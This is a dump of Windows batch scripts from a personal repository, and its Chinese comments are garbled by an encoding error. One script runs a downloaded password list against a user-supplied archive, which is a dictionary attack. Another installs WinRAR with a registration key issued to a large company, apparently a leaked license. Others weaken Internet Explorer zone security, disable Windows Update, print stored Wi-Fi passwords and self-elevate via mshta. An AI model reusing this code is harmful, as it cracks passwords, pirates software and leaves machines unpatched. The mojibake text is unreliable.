"2000" /t REG_DWORD /d 0 /f @REM XAML ļṩ˶Զ3Dڶ෽֧֡ :: [ٶȰٿ-XAML](https://baike.baidu.com/item/XAML/6123952?fr=aladdin) reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2" /v "2402" /t REG_DWORD /d 0 /f @REM XAML Ӧó reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2" /v "2400" /t REG_DWORD /d 0 /f @REM XPS ļ reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2" /v "2401" /t REG_DWORD /d 0 /f @REM һ϶ͬеݣ**** @REM ֹԱ϶´ѡ reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2" /v "2708" /t REG_DWORD /d 3 /f @REM ڶ֮϶ͬеݣ**** reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2" /v "2709" /t REG_DWORD /d 3 /f @REM ҳʹþý岥ŻƵͶ**** @REM ֹԱƵ reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2" /v "120A" /t REG_DWORD /d 3 /f @REM reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2" /v "1604" /t REG_DWORD /d 0 /f @REM װĿû Web Ϊ汳 **ʾ** reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2" /v "1800" /t REG_DWORD /d 1 /f @REM Ϸļ/ճļ reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2" /v "1802" /t REG_DWORD /d 0 /f @REM ļ reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2" /v "1803" /t REG_DWORD /d 0 /f @REM űֹиҳϵĽű롣 reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2" /v "1400" /t REG_DWORD /d 0 /f @REM ɽűĴڣܴСλ reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2" /v "2102" /t REG_DWORD /d 0 /f @REM վʹýűʾϢ reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2" /v "2105" /t REG_DWORD /d 0 /f @REM վû״ַ̬Ĵ reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2" /v "2104" /t REG_DWORD /d 0 /f @REM ͨƵЭĻݷҵĵԣ**ʾ** reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2" /v "2300" /t REG_DWORD /d 1 /f @REM ͨűӼмСƻճ reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2" /v "1407" /t REG_DWORD /d 0 /f @REM ͨű״̬ reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2" /v "2103" /t REG_DWORD /d 0 /f @REM ر .NET Framework װ **** reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2" /v "2600" /t REG_DWORD /d 0 /f @REM ر״пؼʾ reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2" /v "1208" /t REG_DWORD /d 0 /f @REM MIME ̽飬Ҫȷļ͡ :: [JavaȡļMime͵ļַʽܽ](https://backend.devrank.cn/traffic-information/7082116610194065421) reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2" /v "2100" /t REG_DWORD /d 0 /f @REM SmartScreen ɸѡɨ裬**** reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2" /v "2301" /t REG_DWORD /d 3 /f @REM ñģʽ reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2" /v "2500" /t REG_DWORD /d 3 /f @REM ÿվűɸѡ**** @REM վűע롣 reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2" /v "1409" /t REG_DWORD /d 3 /f @REM Internet Explorer ־ɰɸѡݵ :: https://learn.microsoft.com/en-us/archive/blogs/ie_cn/ie10-release-preview-dx reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2" /v "270B" /t REG_DWORD /d 0 /f @REM IFRAMEӦóļ @REM FRAMEHTMLǩĵеĵ߸Ŀ(FRAME)iframeԪػᴴһĵܣڿܣ reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2" /v "1804" /t REG_DWORD /d 0 /f @REM ڲ̫ϸ Web еվԵ**ʾ** reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2" /v "2101" /t REG_DWORD /d 1 /f @REM öԿܲȫļʾȫ reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2" /v "1806" /t REG_DWORD /d 0 /f @REM öԱΪɰȫִнű ActiveX ؼִнűûԤԶнű reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2" /v "1405" /t REG_DWORD /d 0 /f @REM ûбΪȫ ActiveX ؼгʼͽűУ**ʾ** reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2" /v "1201" /t REG_DWORD /d 1 /f @REM ûݳ־û @REM ûʷ¼ղؼСXML 洢ֱڱ浽̵ҳбϢ reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2" /v "1606" /t REG_DWORD /d 0 /f @REM ύǼܱ reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2" /v "1601" /t REG_DWORD /d 0 /f @REM ļصԶʾ reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2" /v "2200" /t REG_DWORD /d 0 /f :: ʾݣ**ʾ** ȫ(https://)Ͳȫ(http://) reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2" /v "1609" /t REG_DWORD /d 1 /f @REM áûֻ֤һ֤ʱʾпͻ֤ѡ @REM Կվ㣬Զ֤ȷ reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2" /v "1A04" /t REG_DWORD /d 0 /f @REM ûͨ HTML ļʱ·Ϣ reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2" /v "160A" /t REG_DWORD /d 0 /f @REM ԶʹõǰûԶ¼ @REM ϵsmbļ reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2" /v "1A00" /t REG_DWORD /d 0 /f @REM ô˲ã Internet Explorer 鷴Բ鿴Ƿɰȫ ActiveX ؼʵ reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2" /v "270C" /t REG_DWORD /d 0 /f @REM ûԿ򿪴ںͿܣԿӦó reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2" /v "1607" /t REG_DWORD /d 0 /f @REM REG_DWORD ĬϽʮƣֵʮơƷʽʾ @REM 196608 ʮƣƵȨޣȫ - reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2" /v "1E05" /t REG_DWORD /d 0x030000 /f @REM ActiveX ؼͲ reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2" /v "1200" /t REG_DWORD /d 0 /f @REM ִδǩй reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2" /v "2004" /t REG_DWORD /d 0 /f @REM ִǩй reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2" /v "2001" /t REG_DWORD /d 0 /f @REM ûмʹ MSXML ADO վݵҳ @REM ڲݿ reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2" /v "1406" /t REG_DWORD /d 0 /f @REM Java Ȩޣȫ - ͣ196608 ʮ reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2" /v "1C00" /t REG_DWORD /d 0x030000 /f @REM ֲ֣磺 Default1408LocalDefault140ATrustedDefault1605InternetDefault2302Restricted :: Ȳĵ:[csdn-޸ע޸IEϻ](https://blog.csdn.net/wangqiulin123456/article/details/17068649) :: ΢ٷѽɰIEĵɾˣҵ˿ԱĵԷߡ :: ΢ʱЩʲôãȻ"εվģ"飬Щ˱ζĶ :: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-gppref/c05dc3bf-dcfc-4f46-8be2-8a78e46875a7 @REM reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2" /v "140A" /t REG_DWORD /d 0 /f @REM reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2" /v "1605" /t REG_DWORD /d 0 /f @REM reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2" /v "1408" /t REG_DWORD /d 0 /f @REM reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2" /v "2302" /t REG_DWORD /d 0 /f @REM ------------ ͼʾ---------------- @REM %Temp% һĿ¼˫winRARļ @REM [˰֪ʶ-attrib -s -r -hʲô˼](https://iask.sina.com.cn/b/3124185.html) @REM attribĵļĿ¼ԣRֻ -RֻԣHԣSϵͳԡ @REM del /fǿɾֻļ/sɾĿ¼еָļ/qģʽ @REM If exist "%Temp%\~import.reg" ( @REM Attrib -R -S -H "%Temp%\~import.reg" @REM del /F /Q "%Temp%\~import.reg" @REM If exist "%Temp%\~import.reg" ( @REM Echo Could not delete file "%Temp%\~import.reg" @REM Pause @REM ) @REM Internet Explorer\BrowserEmulation\ClearableListData\UserFilter ע÷ @REM [IEͼݽ](https://blog.csdn.net/thb_cn/article/details/125124565) @REM ˵ϸ£ơʮƲʺϴˣPASS @REM ׵IE ͼ޷վʾһЧ򡱵Ĵ :: [cnblogs-IE 11ͼ޷վʾһЧ](https://www.cnblogs.com/xiykj/p/13603024.html) @REM > "%Temp%\~import.reg" ECHO Windows Registry Editor Version 5.00 @REM >> "%Temp%\~import.reg" ECHO. @REM >> "%Temp%\~import.reg" ECHO [HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\BrowserEmulation\ClearableListData] @REM >> "%Temp%\~import.reg" ECHO "UserFilter"=hex:41,1f,00,00,53,08,ad,ba,01,00,00,00,36,00,00,00,01,00,00,00,\ @REM >> "%Temp%\~import.reg" ECHO 01,00,00,00,0c,00,00,00,d9,1c,6d,08,94,d9,d6,01,01,00,00,00,0c,00,31,00,39,\ @REM >> "%Temp%\~import.reg" ECHO 00,32,00,2e,00,31,00,36,00,38,00,2e,00,30,00,2e,00,33,00,33,00 @REM START /WAIT REGEDIT /S "%Temp%\~import.reg" @REM DEL "%Temp%\~import.reg" @REM ------- վʾ ------------------------ @REM վãдԼҪõַַ RangeǷ֧Χ˼ÿһRange1...2...3ȵ @REM :RangeضΧơע⣬ǰðDZģȻֵַʾͬϵ @REM REG_SZ ַͣREG_DWORD ֵָ֧ͣ @REM 0 ؼ1 Intranet ڲ 2 εվ3 Internet 4 Ƶվ @REM reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Ranges\Range100" /v ":Range" /t REG_SZ /d 192.168.0.11 /f @REM reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Ranges\Range100" /v "http" /t REG_DWORD /d 2 /f @REM -----------д漰Ĺ--------------------- @REM дõ Bat To Exe Converterexeļ @REM WindowsҪIJοվhttps://admx.help @REM עߣhttps://registry-finder.com @REM ߣhttps://www.voidtools.com/zh-cn/ @REM Сwin11 IE޸ߣhttps://www.yrxitong.com/h-nd-963.html ECHO "ѹرUACԽЧ" pause ================================================ FILE: d-bat/seven_z_sensei.bat ================================================ @echo off @REM ӳٱ setlocal EnableDelayedExpansion @REM pythonȡʱ䣬αϢ echo\ python -c "import datetime;now=datetime.datetime.now();print('ʼʱǣ', now)" 2>nul > rar_time_log.txt @REM жǷ뱾û IF NOT EXIST "C:\Users\%USERNAME%\Downloads\rarpasswd.txt" > nul (curl -o C:\Users\%USERNAME%\Downloads\rarpasswd.txt https://ghproxy.com/https://raw.githubusercontent.com/hoochanlon/scripts/main/d-txt/rarpasswd.txt) echo/ @REM 7zΪñ set used7z="%ProgramFiles%"\7-Zip\7z.exe set "passwd_list=C:\Users\%USERNAME%\Downloads\rarpasswd.txt" @REM set "has_passwd_rar=C:\Users\nice\Desktop\wifi뱾.rar" set /p input=뽫ļ·Ƶնˣ echo/ echo ---------ʼ------------- echo/ rem б֤ for /f "delims=" %%a in (%passwd_list%) do ( echo ڱУڿУ飺"%%a" "C:\Program Files\7-Zip\7z.exe" t -p"%%a" "%input%" >nul 2>&1 if !errorlevel! equ 0 ( echo/ echo ---------ս------------- echo/ type rar_time_log.txt python -c "import datetime;other_time=datetime.datetime.now();print('ʱΪ', other_time)" 2>nul echo/ @REM ҵ˳ echo ȷ: "%%a" echo/ exit /b ) ) echo\ echo --------------------------------------------- echo\ type rar_time_log.txt python -c "import datetime;other_time=datetime.datetime.now();print('ʱΪ', other_time)" 2>nul echo\ echo ûҵ echo\ @REM ----------------------- ݸ ----------------------------------------- @REM ѹ벻룬ѹ벻ȷ޷ݵġ @REM "%ProgramFiles%"\7-Zip\7z x C:\Users\nice\Desktop\.rar -o"C:\Users\nice\Desktop\" @REM "%ProgramFiles%"\7-Zip\7z x C:\Users\nice\Desktop\.rar -o"C:\Users\nice\Desktop\" -p1234 @REM 7zֻʵ7zzip֮Ĵ @REM "%ProgramFiles%"\7-Zip\7z a "C:\Users\nice\Desktop\.rar" C:\Users\nice\Desktop\.pdf -p1234 @REM ֤ѹ @REM "%ProgramFiles%"\7-Zip\7z t -p1234 C:\Users\nice\Desktop\wifi뱾.rar @REM ӳٱ @REM setlocal EnableDelayedExpansion @REM 7zΪñ @REM set used7z="%ProgramFiles%"\7-Zip\7z.exe @REM ֵ֤Դ @REM "%ProgramFiles%"\7-Zip\7z t -p12345 C:\Users\nice\Desktop\wifi뱾.rar @REM if %errorlevel% EQU 0 ( @REM echo ԡ @REM ) else ( @REM echo @REM ) @REM 뱾 @REM https://github.com/hoochanlon/scripts/raw/main/d-txt/rarpasswd.txt @REM https://statically.io/convert/ @REM http 301״̬룬עhttps ================================================ FILE: d-bat/show_wifi.bat ================================================ @echo off :: ----------- Ȩ ----------- @REM ҼлǹԱЩ鷳 @REM ˱أʹã @REM ƶļûĿ¼ PASS @REM زԣȨ´ں󣬾ն˶Զά벻ݣPASS :: ----------------- ⻷ ------------ @REM û if not defined %WiFi% > nul (setx WiFi "%userprofile%\show_wifi.bat") :: ----------------- ȡǰWiFi --------------------- @REM ųBSSID񼯱ʶϢиŵSSID setlocal enabledelayedexpansion for /f "tokens=2 delims=:" %%i in ('netsh wlan show interfaces ^| findstr "SSID" ^| findstr /v "BSSID"') do ( set now_wifi_ssid=%%i @REM 滻ո set now_wifi_ssid=!now_wifi_ssid: =! ) for /f "tokens=2 delims=: " %%i in ('netsh wlan show profile name^="%now_wifi_ssid%" key^=clear ^| findstr "ؼ"') do ( set "now_wifi_password=%%i" set now_wifi_password=!now_wifi_password! ) echo WiFi%now_wifi_ssid% echo WiFi룺%now_wifi_password% :: ----------------- ά --------------------------------- @REM άƬ򿪣Windowsն(ɰ)ַ֧ޣЧ @REM Windows11Դ°ն˿У @REM https://github.com/microsoft/terminal pip install qrcode > nul 2>&1 pip install pillow > nul 2>&1 pip install qrcode-terminal > nul 2>&1 set data= WiFi%now_wifi_ssid% WiFi룺%now_wifi_password% python -c "import qrcode_terminal; qrcode_terminal.draw('%data%')" ::------------ ƶļûĿ¼ --------------- if not exist "c:\%userprofile%\show_wifi.bat" > nul ( move "%~dp0\%~nx0" "%userprofile%\%~nx0" ) :: --------------- ο ---------------------------------- @REM @REM οĵ һ @REM @REM "tokens=2 delims=:" ֻ for ʹãtokens=2 : ֮ĵڶı @REM @REM "%now_ssid: =%" пո nul @REM netsh wlan show profile /? ĵ @REM netsh wlan show profile name="G*****S" key=clear @REM @REM [csdn -for /f֮DelimsTokens÷&ܽ](https://blog.csdn.net/kagurawill/article/details/114982328) @REM @REM [cnblogs -No0000A4DOScmd滻ַȡַַȡַ](https://www.cnblogs.com/Chary/p/5825189.html) @REM @REM οĵ @REM WiFiIJĽ 00һȡֵڶγ00 @REM ҵΪӳٱű֮Ӳ˵ô࣬ʵʵʱԣеĸҲʮҪ @REM https://www.jb51.net/article/193245.htm :: --------------- ο ---------------------------------- ================================================ FILE: d-bat/stop_update.bat ================================================ :: ǰעͱ :: https://admx.help/?Category=Windows_10_2016&Policy=Microsoft.Policies.WindowsUpdate::AutoUpdateCfg&Language=zh-cn @REM https://learn.microsoft.com/en-us/windows/client-management/mdm/policy-csp-update#update-enableautomaticupgrades @REM https://www.howtogeek.com/799392/what-is-waasmedic-agent-exe-how-to-fix-high-disk-usage/ @REM https://www.majorgeeks.com/content/page/what_is_the_update_orchestrator_service.html @REM https://answers.microsoft.com/en-us/windows/forum/all/windows-7-8-81-registry-edits-to-prevent-windows/4cbd4842-d11f-4579-a8de-18576aad2597 @REM https://greatis.com/stopupdates10/ @REM ͣ3000 @REM reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsUpdate\UX\Settings" /v FlightSettingsMaxPauseDays /t reg_dword /d 3000 /f @REM ˼Ŀ @REM reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" /v "TargetGroup" /t REG_SZ /d "YourTargetGroup" /f @REM ÷ʹЩϢȷڴ˼ӦòЩ¡Enabled Value 0 = Disabled, 1 = Enabled @REM reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" /v "TargetGroupEnabled" /t REG_DWORD /d "0x0" /f :: -------ָ Intranet Microsoft ·λ-------- @REM ָһִ̨ڲ·Զ¿ͻ˽˷ҵϼĸ¡ @REM Value 0 = Disabled, 1 = Enabled @REM reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v "UseWUServer" /t REG_DWORD /d "0x1" /f @REM ָ Intranet Microsoft ַ @REM reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" /v "WUServer" /t REG_SZ /d "http://127.0.0.1" /f @REM Intranet ͳƷ @REM reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" /v "WUStatusServer" /t REG_SZ /d "http://127.0.0.1" /f :: ------------------------------------------------- @REM ÷Ҫڼ Windows µĽ״ȷϵͳܹʱյµİȫ͹ܸ¡ֵΪ 4 (ֹи÷) @REM REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WaasMedic" /v "Start" /t REG_DWORD /d 4 /f :: ǰעͱ :: ׹رWindows @REM ʱֹͣ Windows Update net stop wuauserv @REM ͣ enabled Value 0 = Disabled, 1 = Enabled reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" /v "PauseDeferrals" /t REG_DWORD /d "0x1" /f @REM ǹԱո֪ͨ Enabled Value 0 = Disabled, 1 = Enabled reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" /v "ElevateNonAdmins" /t REG_DWORD /d "0x1" /f @REM ָһִ̨ڲ·Զ¿ͻ˽˷ҵϼĸ¡ @REM Value 0 = Disabled, 1 = Enabled reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v "UseWUServer" /t REG_DWORD /d "0x1" /f @REM ָ Intranet Microsoft ַ reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" /v "WUServer" /t REG_SZ /d "http://127.0.0.1" /f @REM Intranet ͳƷ reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" /v "WUStatusServer" /t REG_SZ /d "http://127.0.0.1" /f @REM ô˲ãֹûӵ Windows վ Value 1 = Enabled, 0 = Disabled reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoWindowsUpdate" /t REG_DWORD /d "0x1" /f @REM Զ Value 1= Disabled, 0 = Enabled reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v "NoAutoUpdate" /t REG_DWORD /d "0x1" /f @REM Զװ Value 1 = Enabled0 = Disabled reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v "AutoInstallMinorUpdates" /t REG_DWORD /d "0x1" /f @REM ԶƵ Value 0 = Disabled, 1 = Enabled reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v "DetectionFrequencyEnabled" /t REG_DWORD /d "0x0" /f @REM ¼ƻԶ¼ƻİװ Value 1 = Enabled0 = Disabled reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v "RescheduleWaitTimeEnabled" /t REG_DWORD /d "0x0" /f @REM ɾʹ Windows ¹ܵķȨ Value 1 = Enabled0 = Disabled reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\WindowsUpdate" /v "DisableWindowsUpdateAccess" /t REG_DWORD /d "0x1" /f @REM رն Windows ¹ܵķ Value 1 = Enabled0 = Disabled reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v "RescheduleWaitTimeEnabled" /t REG_DWORD /d "0x1" /f @REM ֹ Windows Anytime UpgradeWindows汾 Value 1 = Enabled0 = Disabled reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\WAU" /v "Disabled" /t REG_DWORD /d "0x1" /f @REM ֹ Microsoft Store °汾 Windows ṩ¡ Value 1 = Enabled, 0 = Disabled REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" /v "DisableOSUpgrade" /t REG_DWORD /d 1 /f @REM ------ Windows½ҽ± @REM "Start" ֵ 0ʧܣ1ϵͳʱԶ2ֶ 3ã 4 ʾ񲻻ᱻѾУᱻֹͣ @REM ÷Ҫڼ Windows µĽ״ȷϵͳܹʱյµİȫ͹ܸ¡ֵΪ 4 (ֹи÷) @REM ±񣬹ر REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v "Start" /t REG_DWORD /d 4 /f REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\UsoSvc" /v "Start" /t REG_DWORD /d 4 /f @REM ------ Windows½ҽ± @REM ---- win7 ʾͨɱ @REM رաȡWindows10֪ͨ https://www.jb51.net/os/windows/418707.html REG ADD "HKLM\Software\Microsoft\Windows\CurrentVersion\WindowsUpdate\OSUpgrade" /v "ReservationsAllowed" /t REG_DWORD /d 0 /f @REM https://serverfault.com/questions/695916/registry-key-gpo-to-disable-and-block-windows-10-upgrade REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Gwx" /v "DisableGwx" /t REG_DWORD /d 1 /f @REM Windows 7á PC֧֡ https://blog.csdn.net/allway2/article/details/103905502 REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\EOSNotify" /v "DiscontinueEOS" /t REG_DWORD /d 1 /f @REM ---- win7 ʾͨɱ @REM Windows Update net start wuauserv :: ׹رWindows pause ================================================ FILE: d-bat/unlockapp.bat ================================================ @echo off setlocal set /p "targetPath=ҪĿ¼:" @REM ȥ·߿ܴڵ set "targetPath=%targetPath:"=%" @REM ж·Ƿ if not exist "%targetPath%" ( echo ָ·ڣ˳ exit /b ) @REM ȡ·Ŀ¼ֺļ for %%F in ("%targetPath%") do ( set "actualPath=%%~dpF" set "fileName=%%~nxF" ) @REM ʵҪ· set "actualPath=%actualPath%%fileName%" echo --- ʼ·̣رա---- @REM ֹĽ taskkill /F /FI "IMAGENAME eq %fileName%" 2>nul @REM Ŀ¼ֹĿ¼Ŀ¼е .exe if exist "%actualPath%\." ( for /r "%actualPath%" %%A in (*.exe) do ( taskkill /F /FI "IMAGENAME eq %%~nxA" 2>nul ) ) echo/ echo --- ʼѹռرա---- @REM գwinRAR7z360ѹ2345ѹѹ @REM winrar if exist "%ProgramFiles%\WinRAR\." ( for /r "%ProgramFiles%\WinRAR" %%A in (*.exe) do ( taskkill /F /FI "IMAGENAME eq %%~nxA" 2>nul ) ) @REM 7z if exist "%ProgramFiles%\7-Zip\." ( for /r "%ProgramFiles%\7-Zip\." %%A in (*.exe) do ( taskkill /F /FI "IMAGENAME eq %%~nxA" 2>nul ) ) @REM 360ѹ if exist "%ProgramFiles(x86)%\360\360zip\." ( for /r "%ProgramFiles(x86)%\360\360zip" %%A in (*.exe) do ( taskkill /F /FI "IMAGENAME eq %%~nxA" 2>nul ) ) @REM 2345 ѹ if exist "%ProgramFiles%\2345Soft\HaoZip\." ( for /r "%ProgramFiles%\2345Soft\HaoZip" %%A in (*.exe) do ( taskkill /F /FI "IMAGENAME eq %%~nxA" 2>nul ) ) @REM ѹ if exist "%appdata%\ѹ\." ( for /r "%appdata%\ѹ" %%A in (*.exe) do ( taskkill /F /FI "IMAGENAME eq %%~nxA" 2>nul ) ) echo ---------------- --------------------- echo/ REM ʾûѡǷɾļм set /p deleteOption=Ƿɾ %actualPath% (Y/N) if /I "%deleteOption%"=="Y" ( rd /S /Q "%actualPath%" 2>nul del /F /Q "%actualPath%" 2>nul echo ɾִɡ ) else ( if /I "%deleteOption%"=="N" ( echo ѳɾ ) else ( echo Ч룬˳ ) ) endlocal pause ================================================ FILE: d-bat/webtools.bat ================================================ @echo off :start echo ѡ: echo 1. kimi ^& echo 2. Ƶ/ת//ȥˮӡ echo 3. Video/IMG/PDF echo 4. ^& ʱ echo 5. echo 6. LOFI echo 7. echo 8. Ӱ/ echo 9. СϷҳֻ echo 0. ˳ set /p choice=Enter your choice: if "%choice%"=="1" ( start "" /max /b "https://kimi.moonshot.cn" start "" /max /b "https://metaso.cn" cls goto start ) else if "%choice%"=="2" ( start "" /max /b "https://snapany.com" start "" /max /b "https://convertio.co" start "" /max /b "https://online-video-cutter.com/cn/remove-logo" cls goto start ) else if "%choice%"=="3" ( start "" /max /b "https://tinywow.com" start "" /max /b "https://tool.browser.qq.com/" cls goto start ) else if "%choice%"=="4" ( start "" /max /b "https://pomodoro.zone/zh-cn/" cls goto start ) else if "%choice%"=="5" ( start "" /max /b "https://bailemi.com/" start "" /max /b "https://tools.liumingye.cn/music/#/" cls goto start ) else if "%choice%"=="6" ( start "" /max /b "https://lofifm.vercel.app/" cls goto start ) else if "%choice%"=="7" ( start "" /max /b "https://www.rainymood.com/" cls goto start ) else if "%choice%"=="8" ( start "" /max /b "https://www.keke2.app/" start "" /max /b "https://ddys.pro/" cls goto start ) else if "%choice%"=="9" ( echo "https://poki.com" | clip cls goto start ) else if "%choice%"=="0" ( exit ) else ( cls goto start ) @REM Chromiumʹ--kiosk ȫ @REM "C:\Program Files\Google\Chrome\Application\chrome.exe" --kiosk "http://www.example.com" @REM οṩվ @REM https://www.kocpc.com.tw/archives/454499 ================================================ FILE: d-bat/weipe_showip.bat ================================================ @REM PEעIJѯ·ȫʶ @REG LOAD HKLM\TempLookIp C:\Windows\System32\config\SYSTEM @REM ݹѯ @REG QUERY HKLM\TempLookIp\ControlSet001\services\Tcpip\Parameters\interfaces /s @pause ================================================ FILE: d-bat/winrar_down_reg.bat ================================================ @echo "ע⣺ԹԱȨиwinRARһذװעἤű" @echo @echo "滻ڴ˺棬عٷҵWinRARλCĿ¼" @echo off powershell -command Invoke-WebRequest -Uri "https://www.win-rar.com/fileadmin/winrar-versions/sc/sc20220317/wrr/winrar-x64-611sc.exe" -OutFile "C:/Users/${env:UserName}/Downloads/winrar-x64-611sc.exe"&&start /wait C:\Users\%username%\Downloads\winrar-x64-611sc.exe /S @echo "ĬװWinRARдעļ" @echo off ( echo RAR registration data echo State Grid Corporation Of China echo 50000 PC usage license echo UID=5827a0bd1c43525d0a5d echo 64122122500a5d3d56f784f3a440ac3fb632d34e08bbaa37fc7712 echo 6acaeb8eb044810272e86042cb7c79b1da0eaf88c79f8a7c6dd77b echo dba335e27a109997ac90fb0e10e4129e79f46c42b4ee1832fa5113 echo 7443fcc1124840d4dd36f3af84a5c915a760b18c6394f938168227 echo fbf29edbc4b34ef85ee53fbfca71814a82afadf073876b4b033451 echo b6292a7cc7975b3ff3cc73404abbf7c126787344169eeae4609f62 echo c9ffbc159bf2640ad5d9b88f8fa9d9cbf2b7e5b022a21938465244 )>C:\"Program Files"\WinRAR\rarreg.key @echo "ȥɣسرոôڡ" pause del %0 :: ˵ :: ֮ǰWinRAR谲װĬĿ¼ :: 룺GB2312УCRLF޸עĸȱʧ⡣ :: explorer.exeҲأдЧ̫鷳ˡ :: ǹԱCMDд뵽C̵Program Filesļɹ :: win7Ҫⰲװpowershell5.0ԼTLS/SSLߡ :: ο :: https://jingyan.baidu.com/article/14bd256e4f7b6fbb6d2612c6.htm :: https://learn.microsoft.com/zh-cn/powershell/module/microsoft.powershell.utility/invoke-webrequest?view=powershell-7.3 :: https://www.learnfk.com/batch-script/batch-script.aliases.html :: https://cloud.tencent.com/developer/article/2069559 ================================================ FILE: d-bat/zhuang_ji_yuan.bat ================================================ @echo off @REM ĬԹԱȨ RegistryFinder ע @REM reg add "HKCU\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers" /v "C:\Program Files\Registry Finder\RegistryFinder.exe" /t REG_SZ /d "RUNASADMIN" /f @REM ԹԱcmd %1 C:\Windows\SysWOW64\mshta.exe vbscript:CreateObject("Shell.Application").ShellExecute("cmd.exe","/c %~s0 ::","","runas",1)(window.close)&&exit cd /d "%~dp0" @REM 